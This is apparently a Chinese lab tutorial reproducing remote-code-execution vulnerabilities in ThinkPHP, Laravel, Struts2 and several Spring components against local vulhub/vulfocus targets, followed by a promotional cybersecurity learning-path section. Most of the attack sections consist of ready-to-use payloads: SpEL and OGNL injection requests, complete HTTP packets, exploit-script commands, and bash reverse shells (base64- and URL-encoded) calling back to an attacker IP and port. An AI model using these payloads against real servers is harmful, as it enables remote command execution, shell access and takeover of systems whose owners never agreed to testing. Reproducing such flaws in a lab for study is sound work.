目次
- 服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP
- PHP-开辟框架安全-Thinkphp&Laravel
- Thinkphp-5.X RCE
- Laravel框架安全问题- CVE-2021-3129 RCE
- JAVAWEB-开辟框架安全-Spring&Struts2
- CVE-2017-5638(struts2-045 远程代码实行)
- CVE-2020-17530 代码实行
- CVE-2021-31805 远程代码实行
- JAVAWEB-开辟框架安全-Spring框架
- * Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
复制代码
- Spring WebFlow 远程代码实行漏洞(CVE-2017-4971)
- Spring Cloud Function SpEL表达式注入 (CVE-2022-22963)
- Spring Cloud Gateway Actuator API SpEL 表达式注入 (CVE-2022-22947)
服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP
概述
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins
,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery
等
1、开辟框架-PHP-Laravel-Thinkphp
2、开辟框架-Javaweb-St2-Spring
3、开辟框架-Python-django-Flask
4、开辟框架-Javascript-Node.js-JQuery
常见语言开辟框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等
JAVA:Spring MyBatis Hibernate Struts2 Springboot 等
Python:Django Flask Bottle Turbobars Tornado Web2py 等
Javascript:Vue.js Node.js Bootstrap JQuery Angular 等
PHP-开辟框架安全-Thinkphp&Laravel
详解:Thinkphp详解
详解:Laravel详解
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开辟框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts布局移植过来并做了改进和美满,同时也鉴戒了国外很多优秀的框架和模式,利用面向对象的开辟布局和MVC模式,融合了Struts的头脑和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
Laravel是一套简便、优雅的PHP
Web开辟框架(PHP Web
Framework)。它可以从面条一样杂乱的代码中解脱出来;它可以构建网络APP,而且每行代码都可以简便、富于表达力。
安全问题:
Thinkphp-3.X RCE
Thinkphp-5.X RCE
CVE-2021-3129 RCE
…
特性:
利用前可先判断其开辟框架,通过浏览器插件,或者数据包信息内容等举行判断是什么开辟框架。判断方式很多。
"十年磨一剑"是ThinkPHP的特性之一,出现图标,倒立微笑的笑脸也是特性之一。
…
漏洞复现
Thinkphp-3.X RCE
靶场:vulfocus
开启环境:
漏洞利用:
可直接放入到工具当中举行检测,一键利用即可
下令实行RCE:
- payload:
- http://192.168.100.134:24566//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_10_26.log
复制代码 查看:
还可以举行getshell,找到路径,一键getshell:
直接可getshell:
然后利用蚁剑连接即可:
成功连接:
日记走漏:
- Payload:
- http://192.168.100.134:24566//Application/Runtime/Logs/Admin/23_10_26.log
复制代码 查看:
工具在github搜索即可,有很多,碰到欠好用的也正常。(利用简单[工具点一点就可以~],发现该系列漏洞,危害较大。)以下也是同理。
Thinkphp-5.X RCE
ThinkPHP是在中国利用非常广泛的PHP开辟框架。在其版本 5
中,由于框架错误地处置惩罚控制器名称,如果网站未启用强制路由(这是默认),它可以实行任何方法,从而导致 RCE 漏洞。
靶场:vulhub
参考:Thinkphp5 5.0.22/5.1.29
远程实行代码漏洞
开启环境:
访问靶场:
漏洞利用:
利用方式和以上一致,直接利用成熟的工具即可。
利用前可先判断其开辟框架,通过浏览器插件,或者数据包信息内容等举行判断是什么开辟框架。
"十年磨一剑"是ThinkPHP的特性之一,微笑的笑脸也是特性。
直接将url信息内容,抛到工具当中:
输入利用的漏洞编号,利用即可:
下令实行RCE:
getshell:
通过蚁剑举行连接:
连接添加成功:
Laravel框架安全问题- CVE-2021-3129 RCE
详解:Laravel详解
Laravel是一套简便、优雅的PHP
Web开辟框架(PHP Web
Framework)。它可以从面条一样杂乱的代码中解脱出来;它可以构建网络APP,而且每行代码都可以简便、富于表达力。
靶场:vulfocus
漏洞形貌:
Laravel是一套简便、开源的PHP Web开辟框架,旨在实现Web软件的MVC架构。
Laravel开启了Debug模式时,由于Laravel自带的Ignition
组件对file_get_contents()和file_put_contents()函数的不安全利用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,终极造成远程代码实行
开启靶场:
访问:
漏洞利用:
github搜索漏洞编号CVE-2021-3129,查找相干exp下载利用即可
exp地点:[CVE-2021-3129EXP](https://github.com/SecPros-Team/laravel-
CVE-2021-3129-EXP/blob/main/laravel-CVE-2021-3129-EXP.py)
- python laravel-CVE-2021-3129-EXP.py http://192.168.100.134:29972
复制代码 直接利用即可,getshell:
哥斯拉链接即可。
利用相对简单,利用现成熟的脚步或工具即可。github上搜索即可。
JAVAWEB-开辟框架安全-Spring&Struts2
Struts2框架安全
Struts2介绍:
详解:Struts2框架
Struts2框架 是一个用于开辟Java
EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java
Servlet
API,鼓励开辟者采用MVC架构。Struts2以WebWork优秀的筹划头脑为焦点,吸收了Struts框架的部分长处,提供了一个更加整洁的MVC筹划模式实现的Web应用程序框架。
框架特点:
1、一般st2框架开辟的网站,url上会有.action或.do后缀的文件名,比如:
http://192.168.xx.xx/integration/editGangster.action
http://192.168.xxx.xxx:8080/login.action
…
方法1可能不精确,因为spring框架或jboss体系有时候也存在.do结尾的文件名。
2、在相干接口追加actionErrors参数,通过网站页面的回显错误消息来判断。
3、默认环境下,st2框架中存在http://192.168.xXx/struts/webconsole.html这个默认文件。
4、抓包,看包中Content–Type字段的开头是否形如%{#x=[‘XXX’]
方法4仅限于st2-045框架漏洞
此Struts2系列漏洞现有成熟工具,鉴别出特性,直接利用即可。
较新的漏洞可能工具不支持。
漏洞复现
以struts2系列之一为例:
S2-009 远程实行代码漏洞
靶场:vulhub
参考:s2-009
开启环境:
访问:
发现显着的struts2特性
直接放到工具当中举行检测:
一键利用,下令实行:
工具可在github上搜索,有很多。不清除有欠好用的。
CVE-2017-5638(struts2-045 远程代码实行)
漏洞复现:struts2-045
远程代码实行漏洞CVE-2017-5638
CVE-2020-17530 代码实行
struts2 代码实行 (CVE-2020-17530)
形貌:
Struts2是一个基于MVC筹划模式的Web应用框架,它本质上相称于一个servlet,在MVC筹划模式中,Struts2作为控制器(Controller)来创建模子与视图的数据交互。
在特定的环境下,远程攻击者通过构造 恶意的OGNL表达式 ,可造成任意代码实行
靶场:vulfocus
开启环境:
访问:
可利用工具检测:
利用EXP脚本也可以,漏洞比较新,可能一些工具不支持,无法检测,利用。
github上搜索漏洞编号,利用即可。
工具地点:CVE-2020-17530EXP
工具利用:
- python struts2-061-poc.py http://192.168.100.134:34952 "执行的命令"
复制代码 反弹shell:
- python2 S2-061-shell.py http://192.168.100.134:34952
复制代码 反弹成功
CVE-2021-31805 远程代码实行
远程代码实行漏洞-CVE-2021-31805
影响范围: Apache Struts 2.0.0-2.5.29
靶场:vulfocus
开启并访问。
漏洞利用EXP,可直接去github上搜索编号,下载利用即可。
EXP地点:s2-062EXP
修复:升级即可。
JAVAWEB-开辟框架安全-Spring框架
spring框架安全
Spring框架是由于软件开放复杂性而创建的。框架下有很多子分支,披露了很多安全问题。
特性:小绿叶图标
spring框架介绍:
详解:spring开源框架
Spring框架是一个开放源代码的J2EE应用程序框架,由Rod
Johnson发起,是针对bean的生命周期举行管理的轻量级容器(lightweight
container)。
Spring解决了开辟者在J2EE开辟中碰到的很多常见的问题,提供了功能强大IOC、AOP及Web
MVC等功能。Spring可以单独应用于构筑应用程序,也可以和Struts、Webwork、Tapestry等众多Web框架组合利用,而且可以与
Swing等桌面应用程序AP组合。因此,
Spring不但仅能应用于J2EE应用程序之中,也可以应用于桌面应用程序以及小应用程序之中。Spring框架重要由七部分组成,分别是 Spring
Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring
Web MVC。
安全问题:
CVE-2017-4971
CVE-2018-1273
CVE-2022-22947
CVE-2022-22963
…
漏洞复现
Spring Data Commons 远程下令实行漏洞(CVE-2018-1273)
介绍:
Spring Data 项目标目标是为了简化构建基于 Spring 框架应用的数据访问计数,包罗非关系数据库、Map-Reduce
框架、云数据服务等等;另外也包罗对关系数据库的访问支持。
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring
Data下所有子项目共享的基础框架。Spring Data Commons
在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以实行任意下令。
靶场:vulhub
开启环境:
访问:
特性:小绿叶图标
注册用户信息:
当注册用户时,burp抓包:
修改数据包信息
- payload:
- ......
- username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
复制代码 数据包内容:
- POST /users?page=&size=5 HTTP/1.1
- Host: 192.168.100.134:8080
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 uacq
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- Accept-Encoding: gzip, deflate, br
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 120
- Origin: http://192.168.100.134:8080
- Connection: close
- Referer: http://192.168.100.134:8080/users?page=0&size=5
- Upgrade-Insecure-Requests: 1
- sec-ch-ua-platform: "macOS"
- sec-ch-ua: "Google Chrome";v="112", "Chromium";v="112", "Not=A?Brand";v="24"
- sec-ch-ua-mobile: ?0
- username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /123.txt")]=&password=&repeatedPassword=
复制代码 进入靶场,验证是否创建成功:
- //查看环境id
- docker ps
- //进入环境
- docker exec -it 环境id /bin/bash
复制代码 创建成功:
反弹shell:
细节问题:需要URL编码
先将反弹shell下令举行base64编码
- sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
- base64编码:
- bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
复制代码 数据包当中观察:
content-type的值有urlencode,所以可能会举行编码才行。
编码原因:请求头部的信息或方式的原因,需要编码。
将反弹shell下令URL编码后,再次发送:
成功反弹shell,并实行下令:
Spring WebFlow 远程代码实行漏洞(CVE-2017-4971)
详解:Spring Web
Flow详解
pring Web Flow (SWF) 是Spring Framework的一个脱离模块。这个模块是Spring
Web应用开辟模块栈的一部分,Spring Web包罗Spring MVC。Spring Web Flow
的目标是成为管理Web应用页面流程的最佳方案。当你的应用需要复杂的导航控制,比方领导,在一个比较大的事务过程中去指导用户经过一连串的步骤的时候,SWF将会是一个功能强大的控制器。
靶场:vulhub
参考:Spring WebFlow 漏洞复现-
CVE-2017-4971
Spring WebFlow 是一个实用于开辟基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程举动的类和视图分离开来。在其 2.4.x
版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,终极造成任意下令实行。
开启环境:
访问web界面:
接下来访问http://your-ip:8080/login,用页面左边给出的任意一个账号/密码登录体系:
然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book
Hotel”,填写相干信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
下一步:
下一步:
利用burp举行抓包:
此时抓包,抓到一个POST数据包,我们向此中添加一个字段(也就是反弹shell的POC)
获取的数据包:
修改后数据包添加数据内容:
payload:
- //_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/攻击端ip/监听端口 0>&1")).start()=vulhub
- ......
- _eventId_confirm=&_csrf=96117c67-2c77-4054-970a-d2644c9be1f2&_(new java.lang.ProcessBuilder("bash","-c","%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%31%2f%38%38%38%38%20%30%3e%26%31")).start()=vulhub
- //注意反弹shell命令进行url编码,否则无法反弹
复制代码 举行URL编码:
反弹成功:
Spring Cloud Function SpEL表达式注入 (CVE-2022-22963)
详解:spring
cloud详解
Spring Cloud Function提供了一个通用模子,用于在各种平台上部署基于函数的软件,包罗像Amazon AWS
Lambda这样的FaaS(功能即服务)平台。
靶场:vulhub
参考:CVE-2022-22963漏洞复现
开启环境:
访问web界面:
服务器启动后,实行您可以将用户输入转换为大写。
下令:
curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data- binary test
抓取数据包:
请求标头中有一个 SpEL 表达式注入。
添加内容:
- spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("需要执行的命令")
- //完整数据包:
- POST /functionRouter HTTP/1.1
- Host: 192.168.100.134:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate, br
- Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
- DNT: 1
- Connection: close
- spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
- Upgrade-Insecure-Requests: 1
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 10
- asdasdasdd
复制代码 成功实行:
验证:
- docker-compose exec spring /bin/bash
复制代码 反弹shell:
成功反弹
Spring Cloud Gateway Actuator API SpEL 表达式注入 (CVE-2022-22947)
介绍:
SpringCloud GateWay
详解
Spring Cloud Gateway是Spring Cloud生态体系中的一部分,它是一个基于Spring Framework 5,Spring
Boot 2和Project
Reactor等技能开辟的全新的API网关服务器。它旨在提供一种简单而有用的方式来路由到API,提供过滤器,以及在实行请求和响应之间的操作。
Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。
在 3.1.0 和 3.0.6 之前版本中利用 Spring Cloud Gateway
的应用程序,在启用、暴露和不安全网关实行器端点时轻易受到代码注入攻击。远程攻击者可发出恶意构建的请求,允许在远程主机上任意远程实行。
靶场:vulhub
参考:CVE-2022-22947漏洞复现
开启环境:
访问web界面:
第一步,发送以下请求以添加包罗恶意 SpEL 表达式的路由器:
- //发送post请求,进行抓包:
- //数据包内容:
- POST /actuator/gateway/routes/hacktest HTTP/1.1
- Host: 192.168.100.134:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate, br
- Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
- DNT: 1
- Connection: close
- Content-Type: application/json
- Content-Length: 329
- {
- "id": "hacktest",
- "filters": [{
- "name": "AddResponseHeader",
- "args": {
- "name": "Result",
- "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
- }
- }],
- "uri": "http://example.com"
- }
复制代码 实行后:
然后,刷新网关。
SpEL 表达式将在此步骤中实行:
- //数据包内容:
- POST /actuator/gateway/refresh HTTP/1.1
- Host: 192.168.100.134:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate, br
- Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
- DNT: 1
- Connection: close
- Content-Type: application/json
- Content-Length: 329
- {
- "id": "hacktest",
- "filters": [{
- "name": "AddResponseHeader",
- "args": {
- "name": "Result",
- "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
- }
- }],
- "uri": "http://example.com"
- }
复制代码 实行后:
第三,发送以下请求,举行下令实行:
注意为:请求方式为GET请求
- //请求数据包内容:
- GET /actuator/gateway/routes/hacktest HTTP/1.1
- Host: 192.168.100.134:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- Accept-Encoding: gzip, deflate, br
- Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
- DNT: 1
- Connection: close
- Content-Type: application/json
- Content-Length: 329
- {
- "id": "hacktest",
- "filters": [{
- "name": "AddResponseHeader",
- "args": {
- "name": "Result",
- "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
- }
- }],
- "uri": "http://example.com"
- }
复制代码 末了,发送一个删除请求来删除我们的恶意路由器:
- DELETE /actuator/gateway/routes/hacktest HTTP/1.1
- ......
复制代码 发送数据包即可:
再次刷新网关:
- POST /actuator/gateway/refresh HTTP/1.1
- ......
复制代码 方式二:利用工具直接利用
工具地点:SpringBootExploit
将目标URL抛到工具当中去,检测:
直接利用即可
根据工具,经过测试验证,下令实行:
端点信息:
网络安全入门学习路线
其实入门网络安全要学的东西不算多,也就是网络基础+操作体系+中间件+数据库,四个流程下来就差不多了。
1.网络安全法和相识电脑基础
此中包罗操作体系Windows基础和Linux基础,标记语言HTML基础和代码JS基础,以及网络基础、数据库基础和假造机利用等…
别被这些看上去很多的东西给吓到了,其实都是很简单的基础知识,同学们看完根本上都能掌握。盘算机专业的同学都应该打仗相识过,这部分可以直接略过。没学过的同学也不要慌,可以去B站搜索相干视频,你搜关键词网络安全工程师会出现很多相干的视频教程,我粗略的看了一下,排名第一的视频就讲的很具体。
当然你也可以看下面这个视频教程仅展示部分截图:
学到http和https抓包后能读懂它在说什么就行。
2.网络基础和编程语言
3.入手Web安全
web是对外开放的,自然成了的重点关照对象,有事没事就来入侵一波,你说不管能行吗!
想学好Web安全,咱首先得先弄清web是怎么搭建的,知道它的构造才能精准打击。所以web前端和web后端的知识多少要相识点,然后再学点python,起码得看懂部分代码吧。
末了网站开辟知识多少也要相识点,不过别告急,只是学习基础知识。
等你用几周的时间学完这些,根本上算是具备了入门合格渗出工程师的资格,记得上述的重点要重点关注哦!
再就是,要正式进入web安全领域,得学会web渗出,OWASP TOP 10等常见Web漏洞原理与利用方式需要掌握,像SQL注入/XSS跨站脚本攻击/Webshell木马编写/下令实行等。
这个过程并不枯燥,一边打怪刷级一边成长岂不美哉,每个攻击本事都能让你玩得不亦乐乎,而且总有更猥琐的方法等着你去实践。
学完web渗出还不算完,还得掌握相干体系层面漏洞,像ms17-010永恒之蓝等各种微软ms漏洞,所以要学习后渗出。可能到这里各人已经不知所云了,不过没关系,等你学会了web渗出再来看会发现很简单。
其实学会了这几步,你就正式重新手小白晋升为入门学员了,真的不算难,你上你也行。
4.安全体系
不过我们这个水平也就算个渗出测试工程师,也就只能做个基础的安全服务,而这个领域还有很多业务,像攻防演练、等保测评、风险评估等,我们的能力根本不够看。
所以想要成为一名合格的网络工程师,想要拿到安全公司的offer,还得再掌握更多的网络安全知识,能力再更上一层楼才行。即便以后进入企业,也需要学习很多新知识,不充实本身的技能就会被淘汰。
从期间发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
尾言
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,末了团结CSDN整理了一套【282G】网络安全从入门到醒目资料包,需要的小搭档可以点击链接领取哦!
点击这里 |